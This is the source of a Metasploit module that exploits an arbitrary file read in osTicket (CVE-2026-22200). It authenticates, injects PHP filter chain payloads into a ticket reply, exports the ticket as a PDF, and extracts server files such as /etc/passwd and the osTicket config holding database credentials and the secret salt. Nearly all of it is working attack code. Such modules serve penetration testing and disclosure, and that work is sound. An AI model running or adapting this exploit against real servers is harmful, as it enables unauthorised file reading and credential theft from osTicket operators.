## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Osticket def initialize(info = {}) super( update_info( info, 'Name' => 'osTicket Arbitrary File Read via PHP Filter Chains in mPDF', 'Description' => %q{ This module exploits an arbitrary file read vulnerability in osTicket (CVE-2026-22200). The vulnerability exists in osTicket's PDF export functionality which uses mPDF. By injecting a specially crafted HTML payload containing PHP filter chain URIs into a ticket reply, an attacker can read arbitrary files from the server when the ticket is exported to PDF. The PHP filter chain constructs a BMP image header that is prepended to the target file contents. When mPDF renders the ticket as a PDF, it processes the php://filter URI, reads the target file, and embeds it as a bitmap image in the resulting PDF. The module then extracts the file contents from the PDF. Authentication is required. The module supports both staff panel (/scp/) and client portal login. An existing ticket number is also required. Default files extracted are /etc/passwd and include/ost-config.php. The osTicket config file contains database credentials and the SECRET_SALT value. }, 'Author' => [ 'HORIZON3.ai Team', # Vulnerability discovery and PoC 'Arkaprabha Chakraborty <@t1nt1nsn0wy>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-22200'], ['URL', 'https://horizon3.ai/attack-research/attack-blogs/ticket-to-shell-exploiting-php-filters-and-cnext-in-osticket-cve-2026-22200'], ['URL', 'https://github.com/horizon3ai/CVE-2026-22200/tree/main'] ], 'DisclosureDate' => '2026-01-13', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Base path to osTicket installation', '/']), OptString.new('USERNAME', [true, 'osTicket username or email address']), OptString.new('PASSWORD', [true, 'osTicket password']), OptString.new('TICKET_NUMBER', [false, 'Ticket number to use for payload injection (e.g. 978554). If not set, a new ticket is created each run']), OptString.new('TICKET_ID', [false, 'Internal ticket ID (auto-detected if not set)']), OptEnum.new('LOGIN_PORTAL', [true, 'Login portal to use', 'auto', ['auto', 'scp', 'client']]), OptString.new('FILE', [ true, 'Path for file to read.', '/etc/passwd' ]), OptString.new('SCP_TICKET_EMAIL', [ false, 'Email for ticket owner when creating tickets via SCP portal login. ' \ 'Only used if authentication succeeds through the SCP (/scp/) portal.', 'user@msf.com' ]), OptString.new('SCP_TICKET_NAME', [ false, 'Full name for ticket owner when creating tickets via SCP portal login. ' \ 'Only used if authentication succeeds through the SCP (/scp/) portal.', 'MSF User' ]), OptString.new('TICKET_SUBJECT', [false, 'Subject for new ticket if TICKET_NUMBER is not set', 'Support Request']), OptString.new('TICKET_MESSAGE', [false, 'Message body for new ticket if TICKET_NUMBER is not set', 'Please assist.']), OptBool.new('STORE_LOOT', [false, 'Store extracted files as loot', true]), OptInt.new('MAX_REDIRECTS', [false, 'Maximum number of HTTP redirect hops to follow', 3]), OptInt.new('MAX_TICKET_ID', [false, 'Upper bound for brute-force ticket ID search', 20]) ] ) end def check begin res = send_request_cgi!( { 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI']) }, 20, datastore['MAX_REDIRECTS'] ) rescue ::Rex::ConnectionError, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Errno::ETIMEDOUT => e return Exploit::CheckCode::Unknown("Could not connect to target: #{e.message}") end return Exploit::CheckCode::Unknown('No response from target') unless res return Exploit::CheckCode::Safe('Target does not appear to be an osTicket installation') unless osticket?(res) Exploit::CheckCode::Detected('Target appears to be an osTicket installation') end def run base_uri = datastore['TARGETURI'] file_raw = datastore['FILE'].to_s.strip fail_with(Failure::BadConfig, 'No file specified in FILE option') if file_raw.empty? if file_raw.include?(':') file_path, file_enc = file_raw.split(':', 2) file_enc = 'plain' unless %w[plain b64 b64zlib].include?(file_enc) else file_path = file_raw file_enc = 'plain' end print_status("Target: #{Rex::Socket.to_authority(rhost, rport)}") print_status("File to extract: #{file_path}") # Step 1: Login print_status('Attempting authentication...') portal, cookies = do_login(base_uri) if portal.nil? fail_with(Failure::NoAccess, "Login failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}") end prefix = portal == 'scp' ? '/scp' : '' print_good("Authenticated via #{portal} portal") # Step 2: Locate or create ticket ticket_number = datastore['TICKET_NUMBER'].to_s if ticket_number.empty? print_warning('No TICKET_NUMBER supplied — a new ticket will be created each time this module runs') ticket_id, ticket_number = if portal == 'scp' create_ticket_scp(base_uri, prefix, cookies, datastore['TICKET_SUBJECT'], datastore['TICKET_MESSAGE']) else create_ticket(base_uri, cookies, datastore['TICKET_SUBJECT'], datastore['TICKET_MESSAGE']) end fail_with(Failure::UnexpectedReply, 'Failed to create new ticket') if ticket_id.nil? print_good("Created ticket ##{ticket_number} (internal ID: #{ticket_id})") else print_status('Locating ticket...') ticket_id = resolve_ticket_id(base_uri, prefix, cookies) fail_with(Failure::NotFound, "Could not find internal ID for ticket ##{ticket_number}. Try setting TICKET_ID manually.") if ticket_id.nil? print_good("Ticket ##{ticket_number} has internal ID: #{ticket_id}") end # Step 3: Generate and submit payload print_status('Generating PHP filter chain payload...') file_spec = file_enc == 'plain' ? file_path : "#{file_path},#{file_enc}" payload_html = generate_ticket_payload([file_spec], is_reply: true) print_status("Payload generated (#{payload_html.length} bytes)") print_status('Submitting payload as ticket reply...') reply_ok = submit_ticket_reply(base_uri, prefix, ticket_id, payload_html, cookies) if reply_ok print_good('Reply posted successfully') else print_warning('Reply submission did not return expected confirmation. Continuing...') end # Step 4: Download PDF print_status('Downloading ticket PDF...') pdf_data = download_ticket_pdf(base_uri, prefix, ticket_id, cookies, datastore['MAX_REDIRECTS'] || 3) if pdf_data.nil? fail_with(Failure::UnexpectedReply, 'Failed to download PDF export') end print_good("PDF downloaded (#{pdf_data.length} bytes)") # Step 5: Extract file from PDF print_status('Extracting file from PDF...') extracted = extract_files_from_pdf(pdf_data) if extracted.empty? print_error('No file could be extracted from the PDF') if datastore['STORE_LOOT'] path = store_loot('osticket.pdf', 'application/pdf', rhost, pdf_data, 'ticket.pdf', 'Raw PDF export') print_status("Raw PDF saved as loot: #{path}") end return end content = extracted.last print_good("Extracted #{content.length} bytes") # Step 6: Display and store result safe_name = file_path.tr('/', '_').sub(/\A_+/, '') print_line print_line('=' * 70) print_line('EXTRACTED FILE CONTENTS') print_line('=' * 70) print_line print_line("--- [#{file_path}] (#{content.length} bytes) ---") begin text = content.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '') text.sub!(/[\x00-\x08\x0e-\x1f].*\z/m, '') # Strip trailing BMP padding artifacts if text.length > 3000 print_line(text[0, 3000]) print_line("\n... (truncated)") else print_line(text) end rescue EncodingError print_line('[Binary data]') end if datastore['STORE_LOOT'] path = store_loot( "osticket.#{safe_name}", 'application/octet-stream', rhost, content, safe_name, "File read from osTicket server: #{file_path}" ) print_good("Saved to: #{path}") end # Look for key secrets in ost-config.php report_secrets([content]) print_line print_good('Exploitation complete') end private # Attempts login via the configured portal (auto tries SCP first, then client). # Returns [portal_type, cookies] or [nil, nil]. def do_login(base_uri) portal_pref = datastore['LOGIN_PORTAL'] print_status("do_login: portal preference=#{portal_pref}, base_uri=#{base_uri}, username=#{datastore['USERNAME']}") if portal_pref == 'auto' || portal_pref == 'scp' print_status('do_login: Trying staff panel (/scp/) login...') cookies = osticket_login_scp(base_uri, datastore['USERNAME'], datastore['PASSWORD']) if cookies print_good("do_login: SCP login succeeded, cookies=#{cookies}") return ['scp', cookies] end print_status('do_login: Staff panel login failed') if portal_pref == 'auto' end if portal_pref == 'auto' || portal_pref == 'client' print_status('do_login: Trying client portal login...') cookies = osticket_login_client(base_uri, datastore['USERNAME'], datastore['PASSWORD']) if cookies print_good("do_login: Client portal login succeeded, cookies=#{cookies}") return ['client', cookies] end print_status('do_login: Client portal login failed') end print_error('do_login: All login attempts failed') [nil, nil] end # Resolves the internal ticket ID from the user-provided ticket number or datastore override. def resolve_ticket_id(base_uri, prefix, cookies) if datastore['TICKET_ID'] && !datastore['TICKET_ID'].empty? print_status("resolve_ticket_id: Using manually set TICKET_ID=#{datastore['TICKET_ID']}") return datastore['TICKET_ID'] end find_ticket_id(base_uri, prefix, datastore['TICKET_NUMBER'], cookies, datastore['MAX_TICKET_ID'] || 20) end end